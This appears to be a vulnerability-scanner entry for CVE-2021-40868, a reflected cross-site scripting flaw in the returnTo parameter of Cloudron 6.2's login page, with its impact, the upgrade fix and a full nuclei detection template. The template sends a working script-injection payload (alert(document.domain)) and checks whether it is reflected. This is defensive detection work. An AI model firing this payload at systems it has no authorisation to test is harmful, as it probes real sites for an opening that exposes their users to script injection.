Cloudron 6.2 Cross-Site Scripting

mediumseverity

6.1CVSS score

9.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to Cloudron 6.3 or higher.

How to confirm it

Send: GET {{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains in header "text/html" AND contains "</script><script>alert(document.domain)</script>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40868 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-40868

info:
  name: Cloudron 6.2 Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to Cloudron 6.3 or higher.
  reference:
    - https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40868
    - https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
    - https://www.cloudron.io/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40868
    cwe-id: CWE-79
    epss-score: 0.09071
    epss-percentile: 0.95333
    cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cloudron
    product: cloudron
  tags: cve2021,cve,xss,cloudron,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

References

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